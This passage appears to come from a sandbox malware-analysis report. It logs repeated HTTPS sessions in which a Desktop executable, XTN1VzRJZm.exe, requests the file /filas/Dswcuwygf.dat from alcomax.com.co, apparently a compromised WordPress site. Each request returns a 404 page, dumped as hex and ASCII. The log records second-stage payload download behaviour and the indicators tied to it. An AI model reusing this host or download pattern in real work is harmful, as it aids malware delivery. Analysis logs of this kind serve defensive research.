lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:14 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:14 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:14 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49694	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:16 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:16 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:16 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:16 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:16 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:16 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49695	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:18 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:19 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:18 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:19 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:19 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:19 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:19 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49696	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:21 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:22 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:21 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:22 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:22 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:22 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:22 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49697	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:24 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:24 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:24 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:24 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:25 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:25 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:25 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49698	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:26 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:27 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:26 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:27 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:27 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:27 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49699	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:29 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
